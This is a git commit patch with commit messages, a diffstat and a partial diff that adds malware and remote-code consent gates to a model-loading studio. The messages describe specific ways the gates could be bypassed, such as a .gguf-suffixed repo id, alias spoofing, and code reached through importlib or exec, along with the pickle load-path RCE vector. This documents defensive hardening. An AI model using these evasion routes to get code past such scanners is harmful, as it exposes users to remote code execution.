* Scope malware gate to the load-path vector; stop false-blocking first-party models

Follow-up hardening from a second review pass + a broad live model matrix
(unsloth/* , nvidia/* , third-party, and the eicar malware repo).

Malware / unsafe-file gate
- Scope the block to the actual RCE vector: a root-level file in a code-executing
  format. from_pretrained deserializes weight files at the repo ROOT, so a flag is
  only a load-path pickle vector there. Two exclusions, because neither is loaded:
  inert formats (safetensors is tensor-only, gguf is non-pickle, configs/text/
  images) and files in subdirectories. This keeps eicar blocked (its *.pkl/*.dat/
  eicar_test_file sit at the repo root) while no longer false-blocking legitimate
  first-party repos: nvidia/Nemotron-H-8B-Base-8K ships root safetensors plus NeMo
  pickle checkpoints under nemo/ that the loader never touches, and the Hub flags
  both; the gate previously hard-blocked it.
- Unknown / future non-"safe" levels now fail closed (block) instead of being
  silently allowed, so Hub schema drift cannot introduce a bypass; in-progress
  ("pending"/"scanning"/"error") levels stay non-blocking to avoid false blocks.

Consent gate
- Ignore a STALE own-repo auto_map target that is absent from the repo listing (an
  older config pointing at a file the repo no longer ships) instead of failing the
  whole repo closed as unscannable. The present .py are still fully scanned, which
  is the stronger coverage, and a file that is not there cannot execute. This
  unblocks first-party models like unsloth/PaddleOCR-VL (its tokenizer_config.json
  names processing_ppocrvl.py while the repo ships processing_paddleocr_vl.py). A
  referenced .py that IS present but cannot be fetched, and a repo-listing failure,
  still fail closed.

Remote LoRA base resolution
- Distinguish a genuine 404 (not a LoRA / repo absent -> None) from a transient
  error: the transient case is retried once, then logged as a WARNING (a missed
  base is scanned by neither gate) rather than silently skipped.

Discard endpoint
- Treat .onnx and .ckpt as weights so a repo whose only heavy artifact is one of
  those is never eligible for the declined-download purge.

Tests added for each: load-path scoping (safetensors/subdir/Nemotron-H shapes,
unknown-level fail-closed, pending non-block), stale own-repo auto_map ref, remote
LoRA transient retry, and the empty-config-list (all-404 -> []) semantics.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make LoRA-base transient-warning test robust to logging backend

Assert on the logger object directly instead of capsys, so the test does not
depend on whether the real structlog logger or the module-stub logger is active
(which varies with test collection order).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Allow a repo with auto_map but no executable code (e.g. GGUF) instead of blocking

A config can declare an auto_map yet the repo ship NO executable .py -- most
commonly a GGUF repo whose config.json carries an auto_map copied from the original
model (e.g. unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF references
modeling_decilm.py, which the GGUF-only repo does not contain). A GGUF model loads
through llama.cpp, which never executes auto_map, and transformers cannot run a file
that is not present, so there is nothing to scan and trust_remote_code is a no-op.

The fail-closed change treated this empty result the same as "code is present but we
could not fetch it" and hard-blocked the load. Distinguish the two: repo_remote_code_files
now RAISES RemoteCodeUnscannable when code is present but cannot be fully fetched or
listed (offline / gated / transient / a present .py that 404s / a listing failure),
and returns an empty dict only when the listing succeeded and the repo genuinely ships
no executable .py. The consent gate blocks on the exception (fail closed) and allows the
empty case as a no-op. Real unscannable code still hard-blocks; eicar and CRITICAL/HIGH
custom code are unaffected.

Verified against all 37 unsloth/*Nemotron* models (two GGUF repos were false-blocked,
now load) and the existing matrix (eicar still blocks; DeepSeek-OCR / NVLM-D-72B still
prompt approvable consent). Tests updated to expect the raise for unscannable cases and
added for the no-executable-code no-op.

* Ignore vestigial auto_map in GGUF repos (llama.cpp never runs it)

A GGUF repo's config.json is often copied verbatim from the original
transformers model, auto_map and all, but a GGUF load goes through
llama.cpp which never executes auto_map, so the config is inert. Treat
a direct .gguf reference, and a repo that ships .gguf weights with no
.safetensors, as having no remote code so the consent flow is never
triggered. A mixed repo with both .gguf and .safetensors is still gated,
since the safetensors variant would load through transformers where
auto_map does run. The check sits behind the existing auto_map-present
gate so normal models pay no extra repo listing.

* Add scanner-result copy to the remote-code consent dialog

Make the consent dialog state the scan outcome in plain language for
every model. When the static scan finds nothing, reassure the user with
'Our automatic scanner did not flag any worrying files, but please
double check.' (shown only for the clean, approvable case). When the
scan flags custom code or unsafe files, label the list with 'Our
automatic scanner flagged issues including:'. The Hugging Face
attribution for unsafe files stays in the dialog description.

* Close GGUF-suffix consent bypass for repo ids ending in .gguf

The .gguf short-circuit in _config_has_auto_map skipped the scan for any
model name ending in .gguf, including a bare two-segment repo id like
'evil/model.gguf'. Such a repo can still ship safetensors plus auto_map
Python that transformers would execute, so skipping the scan was an
asymmetric bypass (file_security already scans those repos). Restrict the
short-circuit to genuine direct GGUF file references via
_is_direct_gguf_file_ref: a local .gguf path, or a remote repo_id plus
filename (three or more segments). A two-segment repo id named *.gguf now
falls through to the config scan and _is_gguf_repo file inspection, so it
only skips consent when it actually ships .gguf weights and no safetensors.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align consent dialog body with the title and fix narrow-width overflow

The scan results (the 'Our automatic scanner...' label, finding/unsafe
cards, and the clean-scan reassurance) sat at the dialog's left padding
while the title and description were indented past the status icon, so
the body did not line up under the description. Move the title,
description and results into one column to the right of the icon so they
share a left edge, and let that column fill its width so the description
no longer wraps early.

Also stop a wide code snippet from pushing the dialog off-screen on
narrow viewports: AlertDialogHeader is a grid with place-items-center,
which sized the content row to its content; give the row w-full so it
fills the track, and add min-w-0 down the results chain so the snippet
scrolls inside its card instead of widening the dialog. Verified aligned
and contained from mobile portrait through ultrawide.

* Treat a repo as GGUF-only only when it ships no transformers weights

_is_gguf_repo excluded only .safetensors, so a repo with a .gguf and a
pytorch_model.bin (or .pt/.pth/.h5/.msgpack/.onnx/.ckpt) and no
safetensors was treated as GGUF-only and skipped the consent scan, even
though transformers can load that weight set and execute the repo's
auto_map code. Require the absence of ANY transformers-loadable weight
before treating the repo as a llama.cpp-only GGUF load. A genuine
GGUF-only repo (only .gguf) is still inert; a mixed repo with any pickle
or safetensors weight is gated. Adds a regression test across all the
non-safetensors weight formats.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Block flagged subdir weight shards referenced by a root index

The malware gate treated every subdirectory file as non-loadable, but
from_pretrained deserializes a subdir shard a root index references
(pytorch_model.bin.index.json -> shards/...-00001-of-00002.bin). Read the
root weight indexes and block a flagged subdir pickle the weight_map
points at; a flagged subdir pickle no index lists (NeMo nemo/*.distcp)
stays non-blocking, and an inconclusive index lookup fails closed.

* Pass hf_token to the export checkpoint load

ExportBackend.load_checkpoint scanned with hf_token in the worker but
loaded the weights unauthenticated, so a gated/private checkpoint passed
preflight then 401'd at from_pretrained. Add hf_token to load_checkpoint
and forward token to every from_pretrained branch; the worker passes the
command's hf_token.

* Scope created_by_scan to every HF cache the discard searches

created_by_scan used get_cache_path (active HF_HUB_CACHE only) while
/discard-remote-code deletes across active, legacy, and default caches. A
repo the user already had in a legacy/default cache was marked
scan-created and deleted on decline. Check all three caches for the repo
dir before declaring the scan created it.

* Scan the full .py closure of external auto_map repos

An auto_map cross-repo ref (owner/name--module.Class) only had its entry
file downloaded, but transformers also fetches that file's relative
imports from the same repo, so a dangerous helper.py was left outside the
scanned fingerprint. List each external repo's .py and scan the whole set
(plus the referenced entry files); fail closed if the repo cannot be
listed or fetched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fail closed when a weight index cannot be fully read

_indexed_shard_paths treated a partial result as definitive: if one weight
index read cleanly but another failed transiently, it returned the shard
paths it did see. A flagged subdirectory pickle listed only by the index we
could not read would then be classed as "not a load input" and skipped,
re-opening the very fail-open this guard was added to close.

Return None whenever any index read is inconclusive, even if another read
cleanly, so the caller blocks the already-flagged subdir pickle. A repo that
ships no index files raises EntryNotFoundError for each (never inconclusive)
and still returns an empty set.

* Match cached repos case-insensitively in the created_by_scan guard

_repo_in_any_hf_cache resolved casing only against the active cache and then
probed every cache with an exact directory name. A case-variant already
present in a legacy or default cache (models--Unsloth--Foo for a scan of
unsloth/foo) was missed, so the repo was marked created_by_scan and deleted
on decline -- but discard_remote_code_download deletes case-insensitively,
so that delete would hit the user's pre-existing cache entry. Detect
case-insensitively too, mirroring the deletion path.

* Skip remote-code and security review for selected GGUF variants

validate_model ran the trust_remote_code and Hugging Face security-scan
preflight against the repo even when the selected artifact is a .gguf. A
GGUF loads through llama.cpp, which never executes the repo's auto_map
Python and never deserializes root pickle weights, so repo-level Transformers
artifacts (a config.json with auto_map, or an unsafe pytorch_model.bin next
to the .gguf in a mixed repo) are inert for that load. Gating the GGUF on
them is a false positive. Run both preflights only for non-GGUF loads.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope the malware gate to actual load roots and serialized files

Two fixes to evaluate_file_security so it neither misses a load-path pickle nor
false-blocks an inert file:

- Honor subdirectory load roots. Spark-TTS / BiCodec call from_pretrained on the
  snapshot's LLM subdirectory, so a flagged pickle directly under it is a
  root-level load artifact there. A new load_subdirs parameter (set from the
  model's audio type via security_load_subdirs) reclassifies those files relative
  to the load root and looks for weight indexes under it, so a flagged shard in
  that subdir is no longer skipped as "not root-level".
- Exempt source files. A root .py is never deserialized by from_pretrained;
  executable repo code runs only through auto_map, which the remote-code consent
  gate scans. Flagging a Python helper here would false-block a repo that merely
  ships a build or train script.

* Scan a LoRA adapter and base as one consent unit, and gate MEDIUM code

A LoRA load runs both the adapter's and the base's repo code. The consent gate
scanned them separately and pinned one fingerprint per repo, so an adapter that
shipped its own auto_map code was either never shown in the dialog (which only
saw the base) or impossible to approve with the base's fingerprint.

evaluate_remote_code_consent_for_targets now scans all of a load's repos as a
single combined unit and pins ONE fingerprint over the union of their code, so
approving the load approves every repo's code together. evaluate_remote_code_consent
becomes a thin single-target wrapper, and an unscannable target fails the whole
load closed.

Also gate MEDIUM findings: like HIGH they now block pending pinned approval, so a
direct API caller cannot run flagged code by setting trust_remote_code=True
without consenting. Only a clean scan loads without a fingerprint.

* Preflight a LoRA load's adapter and base as one combined consent scan

scan_model_remote_code rewrote a LoRA adapter to its base and scanned only the
base for remote code, so the dialog never surfaced an adapter's own auto_map
code. Scan the adapter and base together through
preflight_remote_code_consent_for_targets, which pins one combined fingerprint
the worker gate accepts. The malware preflight is also scoped to each target's
load subdirectories.

* Apply combined consent and subdir-aware malware scan in load workers

Each load worker (inference, export, training) evaluated remote-code consent
once per target with a single shared fingerprint, so a LoRA adapter that ships
its own auto_map code could not be approved by the base's fingerprint. They now
scan the adapter and base together via evaluate_remote_code_consent_for_targets,
which pins one combined fingerprint over the union of their code. The malware
scan in each worker is also scoped to the model's load subdirectories so a
flagged pickle under a from_pretrained load subdir is not missed.

* Report a consistent trust_remote_code requirement after a model loads

validate_model reports requires_trust_remote_code from the YAML default OR the
raw auto_map, but the load, already-loaded, and status responses reported only
the YAML default. A custom-code model approved and loaded via auto_map was then
reported as not requiring trust_remote_code, so the frontend stored false and a
later retry or rollback sent trust_remote_code=false and failed.

A shared resolver reports the same requirement for a loaded model (a value
stored at load time, else the trust_remote_code the load used, else the YAML
default, else the raw auto_map check), and the load response persists it so the
status and already-loaded paths stay consistent. The selected-GGUF security
review is also scoped to the model's load subdirectories.

* Run the consent gate on training resume and for YAML-only trust_remote_code

Three frontend gaps left a model loading without the trust_remote_code it needs:

- The shared consent helper returned early when the scan found no auto_map and no
  unsafe files, dropping a requirement that comes from a model's Studio YAML
  default (e.g. GLM-4.7-Flash). It now grants the caller's requirement with an
  empty pin instead of sending trust_remote_code=false.
- Resume-from-history called startTraining directly with no consent gate, so a
  resumed run whose model needs custom code (or an old run with no approved
  fingerprint) hit the worker block with no dialog. It now runs the same gate as
  a fresh start.
- HF export passed requiresTrustRemoteCode=false for every HF source, so a
  YAML-only model could not flip the flag before export. It now signals the
  requirement for HF sources.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover both LoRA repos in validate, report GGUF as inert, purge all declined repos

Three follow-on gaps from the combined adapter+base consent work:

- validate_model resolved requires_trust_remote_code from the base alone, so a
  LoRA adapter that ships its OWN auto_map code (with a plain base) was reported
  as not needing trust_remote_code and the consent dialog never opened. It now
  checks the [adapter, base] target set, matching the scan route and the workers
  (which already gate both) and the security review already running over both.

- The already-loaded, loaded, and status responses for a selected GGUF reported
  requires_trust_remote_code from the model's YAML default. A GGUF loads through
  llama.cpp, which never executes the repo's auto_map Python, so the requirement
  is inert for that load. They now report False, matching validate_model (which
  already skips both gates for GGUF) so a status refresh cannot flip the flag
  back on.

- The remote-code scan downloads both the adapter's and the base's config, but
  created_by_scan tracked only the primary, so a base the scan was first to pull
  into the cache was left on disk when the user declined. The scan now reports
  scan_created_repos (every repo it newly cached) and the decline cleanup purges
  each; created_by_scan stays for older clients. The frontend falls back to the
  primary flag when the list is absent.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scan the repo the load fetches, purge external code on decline, harden consent pins

Six follow-on hardening fixes from a fresh review pass over the gate:

- The malware gate scanned the literal "Spark-TTS-0.5B/LLM" alias, but the trainer
  downloads it as unsloth/Spark-TTS-0.5B and loads LLM/, so the alias 404'd and
  failed open, missing a flagged LLM/ pickle. evaluate_file_security now resolves
  the alias to the repo the loader fetches and scans LLM/ as a load root.

- security_load_subdirs relied only on tokenizer detection, which fails on an
  unresolved alias or offline; it now also honors the Studio YAML audio_type
  default, so a BiCodec LLM/ load root is not missed.

- The remote-code scan downloads external auto_map repos (owner/name--module.Class),
  but the decline cleanup tracked only the model/adapter/base, leaving the external
  untrusted code cached. The scan now enumerates external auto_map repos and reports
  the ones it created in scan_created_repos, so a decline purges them too.

- External auto_map refs failed the whole load closed on a stale or mis-derived
  dotted ref (sub.mod.py vs the real sub/mod.py) even though the actual file was
  present and scanned. They now drop such refs when the repo listing is real, exactly
  like the own-repo path; an empty/incomplete listing still fetches and fails closed.

- The combined consent fingerprint keyed code by the raw target string, so the scan
  endpoint's canonicalized casing and a worker's raw user input produced different
  pins for identical code, rejecting a valid approval. Hub repo ids are now folded to
  lowercase in the key (local paths stay case-sensitive), so the pin tracks the code.

- Export threaded hf_token into the weight load but not into detect_audio_type /
  is_vision_model, so a gated multimodal base 404'd in detection and fell through to
  the text loader. Both probes now use the same token.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Thread the token through check-vision and guard the gate's parallel sites

The /check-vision endpoint classified a model without the hf_token, so a gated or
private vision model 404'd in the probe and was reported as a plain text model --
the same dropped-token shape as the export probes, at a sibling site. It now passes
the token like the neighboring /check-embedding endpoint.

Add deterministic consistency guards (tests/test_security_gate_consistency.py) that
enumerate the gate's parallel sites mechanically instead of relying on a review to
spot a missed sibling: every is_vision_model / is_embedding_model / detect_audio_type
caller under routes/ and core/ must thread the token, every GGUF response must report
trust_remote_code via the resolver or False (never the raw YAML default), and every
load worker that runs the malware or consent gate must resolve the LoRA base. A new
site that drops the token or mis-reports the requirement now fails CI directly.

* Narrow the LLM alias rewrite and make audio detection token-aware

Three fixes from the confirmatory review, one a regression from the previous round:

- _load_scan_target rewrote EVERY remote repo ending in "/LLM" to unsloth/<parent>,
  so a real third-party repo named "<owner>/LLM" was scanned as unsloth/<owner>
  while the loader still fetched the real repo -- a fail-open hole introduced when
  the Spark-TTS alias handling was added. It now rewrites only a registry-known
  bicodec alias; every other "/LLM" repo is scanned as itself.

- detect_audio_type cached results under the bare model name, so an unauthenticated
  probe of a gated/private repo cached None and poisoned a later authenticated call
  with the token. The cache is now keyed by (normalized_name, token_fingerprint),
  matching the vision cache.

- The training fallback /check-vision call dropped the hf_token, misclassifying a
  gated/private VLM when the config endpoint failed. It now passes the token, like
  the getModelConfig call it falls back from; checkEmbeddingModel takes the token too.

Extend the consistency guards: every capability cache must be keyed by a tuple
including the token, so a cache re-declared as Dict[str, ...] fails CI.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Document the broad .py scan as deliberate and enforce it with a test

The remote-code scanner scans every .py in a repo once an auto_map exists, not
just the auto_map entry's static import closure. This is intentional: the entry
module can reach a sibling via an absolute import, importlib, or exec, none of
which a static relative-import closure follows, so closure-only scanning would be
a real bypass of a load-time RCE gate. The broad scan never under-scans; the cost
is that an unrelated benign script can over-block, which is the safe failure
direction (HIGH stays approvable; only CRITICAL hard-blocks).

Spell this out at both the local and remote scan sites so the choice reads as
deliberate, and add a test asserting an unrelated, never-imported .py is still
scanned -- so a future narrowing to the static closure fails CI.

* Purge a declined remote LoRA adapter the scan downloaded

scan_model_remote_code probed the created-by-scan state AFTER resolving the base,
but get_base_model_from_lora_identifier downloads a remote adapter's own
adapter_config.json, so the adapter looked already-cached and was dropped from
scan_created_repos. On decline the adapter -- including the auto_map .py the
preflight fetched -- was left on disk, defeating the "untrusted code is not left
on disk" guarantee for the adapter itself.

Snapshot the primary's cache state BEFORE base resolution and use it when marking
the adapter scan-created; on any probe error treat it as pre-existing so a decline
never deletes it. The base and external repos are unaffected (their configs are not
downloaded before their own probe). Add a test that models the mid-scan download
side effect, which the prior static-stub tests did not.

* Clear remote-code approval when the training model changes

Switching the training model from an approved custom-code model to a clean one
kept the previous model's trust_remote_code=true and approved fingerprint in the
store: setSelectedModel reset visionImageSize on a true switch but not the
remote-code approval. The clean model then trained with trust_remote_code=true,
which bypasses the compiler and disables fused cross-entropy.

Reset trustRemoteCode and approvedRemoteCodeFingerprint on a true model switch.
The new model's own YAML default is re-applied by loadAndApplyModelDefaults, and a
custom-code model still re-opens the consent dialog before training starts, so the
only change is that a clean model no longer inherits a stale approval.

* Trim verbose comments across the model-fetching hardening changes

Condense the explanatory comments and docstrings introduced across the
trust_remote_code consent gate, the malware/unsafe-file gate, the remote-code
scanner, the load workers, the model routes, and the security frontend into
fewer, tighter lines while preserving every security rationale (fail-open vs
fail-closed direction, the deliberate broad-scan anti-bypass note, the
empty-vs-unscannable distinction, stale-ref handling, and the alias-rewrite
spoof guard).

Comments and docstrings only. No code, logic, identifiers, or test behaviour
changed; verified comment-only via the AST/TypeScript checker (40/40), with the
backend test suite and frontend tsc green.

* Do not cache transient audio-detection failures

detect_audio_type cached _detect_audio_from_tokenizer's result
unconditionally, so a transient read failure (network error or 5xx,
returned as None) poisoned the cache and the later successful probe never
ran. Mirror the vision cache: _detect_audio_from_tokenizer now returns
(audio_type, definitive) and the caller caches only definitive results.

A read that succeeds with no audio tokens, or clean 404s for every
tokenizer path, stays a cacheable None; only a genuine transient failure
(connection error, timeout, 5xx, malformed body) skips the cache so the
next call retries.

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/export/export.py          |   19 +-
 studio/backend/core/export/orchestrator.py    |    2 +
 studio/backend/core/export/worker.py          |   86 +-
 studio/backend/core/inference/orchestrator.py |    5 +-
 studio/backend/core/inference/worker.py       |   69 +-
 studio/backend/core/training/training.py      |    1 +
 studio/backend/core/training/worker.py        |  216 +++
 studio/backend/models/export.py               |    8 +
 studio/backend/models/inference.py            |    9 +
 studio/backend/models/training.py             |    4 +
 studio/backend/routes/export.py               |    2 +
 studio/backend/routes/inference.py            |  143 +-
 studio/backend/routes/models.py               |  263 ++-
 studio/backend/routes/training.py             |   18 +-
 .../tests/test_capability_detection.py        |  361 +++++
 studio/backend/tests/test_consent_gate.py     | 1414 +++++++++++++++++
 studio/backend/tests/test_file_security.py    |  534 +++++++
 ...models_get_model_config_case_resolution.py |   26 +
 .../tests/test_security_gate_consistency.py   |  101 ++
 .../backend/tests/test_trained_model_scan.py  |   78 +
 .../tests/test_validate_model_error.py        |  127 ++
 studio/backend/tests/test_vision_cache.py     |  109 +-
 studio/backend/utils/hardware/hardware.py     |   22 +-
 studio/backend/utils/models/__init__.py       |    2 +
 studio/backend/utils/models/model_config.py   |  324 +++-
 studio/backend/utils/security/__init__.py     |  107 ++
 studio/backend/utils/security/consent.py      |  358 +++++
 .../backend/utils/security/file_security.py   |  368 +++++
 .../utils/security/remote_code_scan.py        |  679 ++++++++
 studio/backend/utils/security/trusted_org.py  |  120 ++
 studio/backend/utils/transformers_version.py  |   36 +-
 studio/frontend/src/app/routes/__root.tsx     |    2 +
 .../src/features/chat/api/chat-adapter.ts     |   11 +-
 .../src/features/chat/chat-settings-sheet.tsx |   41 +-
 .../chat/hooks/use-chat-model-runtime.ts      |   42 +-
 .../src/features/chat/shared-composer.tsx     |   47 +-
 .../frontend/src/features/chat/types/api.ts   |    4 +
 .../chat/utils/chat-settings-storage.ts       |    6 +-
 .../src/features/export/api/export-api.ts     |    4 +
 .../src/features/export/export-page.tsx       |   71 +-
 .../features/security/api/remote-code-api.ts  |  111 ++
 .../components/remote-code-consent-dialog.tsx |  290 ++++
 .../security/hooks/use-remote-code-consent.ts |   73 +
 .../frontend/src/features/security/index.ts   |    8 +
 .../features/security/lib/severity-tone.ts    |   17 +
 .../remote-code-consent-dialog-store.ts       |   37 +
 .../frontend/src/features/security/types.ts   |   46 +
 .../src/features/training/api/mappers.ts      |    1 +
 .../src/features/training/api/models-api.ts   |   16 +-
 .../training/hooks/use-training-actions.ts    |   42 +
 .../training/stores/training-config-store.ts  |   17 +-
 .../src/features/training/types/api.ts        |    2 +
 .../src/features/training/types/config.ts     |    1 +
 53 files changed, 6243 insertions(+), 257 deletions(-)
 create mode 100644 studio/backend/tests/test_capability_detection.py
 create mode 100644 studio/backend/tests/test_consent_gate.py
 create mode 100644 studio/backend/tests/test_file_security.py
 create mode 100644 studio/backend/tests/test_security_gate_consistency.py
 create mode 100644 studio/backend/utils/security/__init__.py
 create mode 100644 studio/backend/utils/security/consent.py
 create mode 100644 studio/backend/utils/security/file_security.py
 create mode 100644 studio/backend/utils/security/remote_code_scan.py
 create mode 100644 studio/backend/utils/security/trusted_org.py
 create mode 100644 studio/frontend/src/features/security/api/remote-code-api.ts
 create mode 100644 studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
 create mode 100644 studio/frontend/src/features/security/hooks/use-remote-code-consent.ts
 create mode 100644 studio/frontend/src/features/security/index.ts
 create mode 100644 studio/frontend/src/features/security/lib/severity-tone.ts
 create mode 100644 studio/frontend/src/features/security/stores/remote-code-consent-dialog-store.ts
 create mode 100644 studio/frontend/src/features/security/types.ts

diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py
index b28b61f088..a0959741a4 100644
--- a/studio/backend/core/export/export.py
+++ b/studio/backend/core/export/export.py
@@ -145,13 +145,19 @@ class ExportBackend:
         max_seq_length: int = 2048,
         load_in_4bit: bool = True,
         trust_remote_code: bool = False,
+        hf_token: Optional[str] = None,
     ) -> Tuple[bool, str]:
         """
         Load a checkpoint for export.
 
+        ``hf_token`` authenticates the actual weight load for gated/private
+        checkpoints, matching the token the worker used for the security preflight
+        (otherwise a gated repo passes scanning then 401s at from_pretrained).
+
         Returns:
             Tuple of (success: bool, message: str)
         """
+        token = hf_token if hf_token and hf_token.strip() else None
         try:
             logger.info(f"Loading checkpoint: {checkpoint_path}")
 
@@ -169,8 +175,10 @@ class ExportBackend:
 
             model_id = base_model or checkpoint_path
 
-            self._audio_type = detect_audio_type(model_id)
-            self.is_vision = not self._audio_type and is_vision_model(model_id)
+            # Token the type-detection probes too, else a gated multimodal base
+            # 404s here and falls through to the text loader.
+            self._audio_type = detect_audio_type(model_id, hf_token = token)
+            self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token)
 
             if self._audio_type == "csm":
                 from unsloth import FastModel
@@ -184,6 +192,7 @@ class ExportBackend:
                     auto_model = CsmForConditionalGeneration,
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
+                    token = token,
                 )
 
             elif self._audio_type == "whisper":
@@ -197,6 +206,7 @@ class ExportBackend:
                     load_in_4bit = False,
                     auto_model = WhisperForConditionalGeneration,
                     trust_remote_code = trust_remote_code,
+                    token = token,
                 )
 
             elif self._audio_type == "snac":
@@ -207,6 +217,7 @@ class ExportBackend:
                     dtype = None,
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
+                    token = token,
                 )
 
             elif self._audio_type == "bicodec":
@@ -218,6 +229,7 @@ class ExportBackend:
                     dtype = None if _IS_MLX else torch.float32,
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
+                    token = token,
                 )
 
             elif self._audio_type == "dac":
@@ -228,6 +240,7 @@ class ExportBackend:
                     max_seq_length = max_seq_length,
                     load_in_4bit = False,
                     trust_remote_code = trust_remote_code,
+                    token = token,
                 )
 
             elif self.is_vision:
@@ -238,6 +251,7 @@ class ExportBackend:
                     dtype = None,
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
+                    token = token,
                 )
                 tokenizer = processor  # vision: processor acts as tokenizer
 
@@ -249,6 +263,7 @@ class ExportBackend:
                     dtype = None,
                     load_in_4bit = load_in_4bit,
                     trust_remote_code = trust_remote_code,
+                    token = token,
                 )
 
             if _IS_MLX:
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 20158d1891..d78866a494 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -301,6 +301,7 @@ class ExportOrchestrator:
         max_seq_length: int = 2048,
         load_in_4bit: bool = True,
         trust_remote_code: bool = False,
+        approved_remote_code_fingerprint: Optional[str] = None,
         hf_token: Optional[str] = None,
     ) -> Tuple[bool, str]:
         """Load a checkpoint for export.
@@ -312,6 +313,7 @@ class ExportOrchestrator:
             "max_seq_length": max_seq_length,
             "load_in_4bit": load_in_4bit,
             "trust_remote_code": trust_remote_code,
+            "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
             "hf_token": hf_token,
         }
 
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index fb2a893014..7216221f44 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -188,10 +188,16 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
 
     # Auto-enable trust_remote_code for NemotronH/Nano models.
     if not trust_remote_code:
+        from utils.security.trusted_org import is_trusted_org_repo
+
         _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
         _cp_lower = checkpoint_path.lower()
-        if any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and (
-            _cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/")
+        if (
+            any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS)
+            and (_cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/"))
+            # Genuine first-party Hub repo only (not a local/spoof name starting
+            # with "unsloth/"); authenticated so private repos resolve.
+            and is_trusted_org_repo(checkpoint_path, hf_token = cmd.get("hf_token"))
         ):
             trust_remote_code = True
             logger.info(
@@ -199,6 +205,81 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
                 checkpoint_path,
             )
 
+    # Malware gate: a poisoned pickle deserializes on load even with
+    # trust_remote_code False, so check HF's security scan (metadata-only) every
+    # load. Local checkpoints have no Hub scan and are skipped in the helper; a
+    # LoRA merges its base weights, so gate that repo too.
+    from utils.security import evaluate_file_security, security_load_subdirs
+
+    malware_targets = [checkpoint_path]
+    try:
+        from utils.models.model_config import get_base_model_from_lora_identifier
+
+        # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+        _base = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token"))
+        if _base:
+            malware_targets.append(_base)
+    except Exception as exc:
+        logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+    _hf_token = cmd.get("hf_token")
+    for target in dict.fromkeys(malware_targets):
+        _fs = evaluate_file_security(
+            target, hf_token = _hf_token, load_subdirs = security_load_subdirs(target, _hf_token)
+        )
+        if _fs.blocked:
+            _send_response(
+                resp_queue,
+                {
+                    "type": "loaded",
+                    "success": False,
+                    "message": _fs.reason,
+                    "error_kind": "malware_blocked",
+                    "security": _fs.response_payload(),
+                    "ts": time.time(),
+                },
+            )
+            return
+
+    # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH unless
+    # pinned-approved. A LoRA merges its base model, whose code runs, so gate it too.
+    if trust_remote_code:
+        from utils.security import evaluate_remote_code_consent_for_targets
+
+        consent_targets = [checkpoint_path]
+        try:
+            from utils.models.model_config import get_base_model_from_lora_identifier
+
+            # Resolve a local or remote adapter's base so its base repo is gated too.
+            base_model = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token"))
+            if base_model:
+                consent_targets.append(base_model)
+        except Exception as exc:
+            logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+        # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+        _rc = evaluate_remote_code_consent_for_targets(
+            consent_targets,
+            hf_token = cmd.get("hf_token"),
+            trust_remote_code = True,
+            approved_fingerprint = cmd.get("approved_remote_code_fingerprint"),
+        )
+        if _rc.blocked:
+            _send_response(
+                resp_queue,
+                {
+                    "type": "loaded",
+                    "success": False,
+                    "message": (
+                        f"Checkpoint '{_rc.model_name}' ships custom code flagged as "
+                        f"{_rc.max_severity} by the security scan. Review and "
+                        f"approve it to proceed."
+                    ),
+                    "error_kind": "remote_code_blocked",
+                    "remote_code": _rc.response_payload(),
+                    "ts": time.time(),
+                },
+            )
+            return
+
     try:
         _send_response(
             resp_queue,
@@ -214,6 +295,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
             max_seq_length = max_seq_length,
             load_in_4bit = load_in_4bit,
             trust_remote_code = trust_remote_code,
+            hf_token = cmd.get("hf_token"),
         )
 
         _send_response(
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
